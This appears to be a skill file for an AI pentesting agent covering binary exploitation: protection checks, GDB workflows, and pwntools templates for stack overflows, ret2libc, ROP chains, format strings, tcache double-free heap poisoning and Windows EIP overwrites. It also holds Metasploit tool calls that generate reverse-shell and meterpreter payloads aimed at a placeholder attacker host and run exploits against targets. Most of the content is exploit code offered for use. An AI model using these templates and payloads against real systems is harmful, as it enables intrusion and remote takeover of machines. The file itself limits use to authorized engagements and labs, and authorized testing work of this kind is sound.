binary-exploit-pentest

name	binary-exploit-pentest
description	Guides binary exploitation including stack overflow, ROP, format strings, heap basics, pwntools, and GDB analysis. Use when engagement ROE explicitly authorizes custom exploit development beyond Metasploit modules.

Binary Exploit Pentest

Prerequisites

• Engagement ROE must explicitly authorize binary exploit development.
• CTF/lab binaries: controlled environments only.
• Prefer msf_module_check when public MSF module exists.

Workflow

Task Progress:
- [ ] Identify binary protections (RELRO, Canary, NX, PIE, ASLR)
- [ ] Select methodology (stack, heap, format string, ROP)
- [ ] Develop PoC in isolated lab; map to CVE/module if production target
- [ ] Hand off to msf-exploit-chain if public MSF module exists

Protection assessment

MSF: No direct module; use CLI.

CLI fallback:

checksec --file=./binary
file ./binary
readelf -h ./binary
ldd ./binary

Protection	Meaning	Bypass
NX	Stack/heap not executable	ROP, ret2libc
Canary	Stack cookie	Leak via format string
PIE	ASLR for binary base	Leak address
RELRO Full	GOT read-only	Avoid GOT overwrite
ASLR (system)	Libc/stack random	Leak libc address

GDB + GEF workflow

MSF: No direct module; use CLI.

CLI fallback:

gdb ./binary
gef ./binary

break *main+42
run $(python3 -c 'print("A"*100)')
pattern create 200
pattern offset 0x41414141
vmmap
checksec

Buffer overflow methodology

Basic stack overflow (no protections)

MSF MCP (preferred):

msf_search_modules(query="<service> buffer overflow")
msf_module_check(
  module_name="exploit/...",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "RPORT": 9999}
)

CLI fallback:

from pwn import *
elf = ELF('./binary')
offset = 72
win = elf.symbols['win']
payload = b'A' * offset + p64(win)

ret2libc (NX enabled, no PIE)

MSF: No direct module; use CLI.

CLI fallback:

from pwn import *
elf = ELF('./binary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)
offset = 72
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.symbols['main'])
payload = flat({offset: rop.chain()})
# Stage 2 after leak: system('/bin/sh')

ROP chain building

MSF: No direct module; use CLI.

CLI fallback:

ROPgadget --binary ./binary --ropchain
ropper -f ./binary --search "pop rdi"

rop = ROP(elf)
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(binsh_addr)
rop.raw(elf.plt['system'])

Techniques: ret2csu, SROP, ret2dlresolve, stack pivoting.

Format string exploitation

MSF: No direct module; use CLI.

CLI fallback:

from pwn import *
payload = '%{}$p'.format(6)  # leak stack
autofmt = FmtStr(execute_fmt=send_fmt_payload)
write_addr = autofmt.offset

Heap exploitation PoC (tcache)

MSF: No direct module; use CLI.

CLI fallback:

from pwn import *
context.binary = elf = ELF('./heap_vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def alloc(size, data=b'A'):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'size:', str(size).encode())
    p.sendafter(b'data:', data)

def free():
    p.sendlineafter(b'>', b'2')

def exploit():
    # Double-free into tcache
    alloc(0x68, b'A'*8)
    free()
    free()  # double free (if vuln allows)
    alloc(0x68, p64(elf.got['free']))  # tcache poison fd
    alloc(0x68, b'B'*8)
    alloc(0x68, p64(libc.sym['system']))  # overwrite GOT (Partial RELRO only)
    # Or target __free_hook / __malloc_hook on older glibc

Concepts: fastbin, unsorted bin libc leak, tcache fd pointer overwrite, UAF, double-free.

# pwndbg heap analysis
pwndbg> heap
pwndbg> vis_heap_chunks
pwndbg> bins

Windows PE exploitation

MSF MCP (preferred):

msf_search_modules(query="windows buffer overflow")
msf_module_check(
  module_name="exploit/windows/local/...",
  engagement_id="<id>",
  module_type="exploit",
  options={"SESSION": <sid>}
)
msf_generate_payload(
  payload="windows/x64/meterpreter/reverse_tcp",
  format="raw",
  options={"LHOST": "<attacker>", "LPORT": 4444},
  engagement_id="<id>"
)

CLI fallback:

# PE analysis
checksec --file=vuln.exe
dumpbin /headers vuln.exe
dumpbin /imports vuln.exe

# Immunity Debugger / x64dbg: find EIP offset with pattern
# msf-pattern_create -l 500
# msf-pattern_offset -q 41326241
msf-pattern_create -l 500
msf-pattern_offset -q 0x41414141

Windows stack overflow PoC:

# SEH overwrite or direct EIP (x86)
offset = 1024
eip = p32(0x625011af)  # JMP ESP from non-ASLR module
nops = b'\x90' * 16
shellcode = b''  # or msfvenom -p windows/shell_reverse_tcp ...
payload = b'A' * offset + eip + nops + shellcode

Windows protections: SafeSEH, ASLR, DEP (NX). Bypass DEP with ROP chain calling VirtualProtect or use MSF module when available.

msfvenom -p windows/shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f py -b '\x00'
mona.py rop -m vuln.dll  # Immunity: find JMP ESP / ROP gadgets

pwntools essentials

MSF: No direct module; use CLI.

CLI fallback:

from pwn import *
context.binary = './binary'
p = process('./binary')  # or remote('target', 9999)
p.sendline(payload)
p.interactive()
shellcode = asm(shellcraft.amd64.linux.sh())

Decision tree

Crash on input?
  -> Stack overflow -> check NX -> ROP/ret2libc
  -> Controlled write -> format string / arbitrary write
  -> Heap alloc/free -> tcache/UAF/double-free
Known CVE with MSF module?
  -> msf_module_check -> msf-exploit-chain

Metasploit bridge

MSF MCP (preferred):

msf_search_modules(query="<CVE or service>")
msf_module_check(
  module_name="exploit/...",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>"}
)
msf_run_exploit(
  module_name="exploit/...",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "PAYLOAD": "...", "LHOST": "<attacker>", "LPORT": 4444}
)

Use binary skill for custom or no-module targets.

Related skills

• mobile-pentest - iOS binary analysis overlap
• linux-pentest - kernel privesc after local access
• reversing-pentest - static analysis support
• msf-exploit-chain - public MSF module delivery when module exists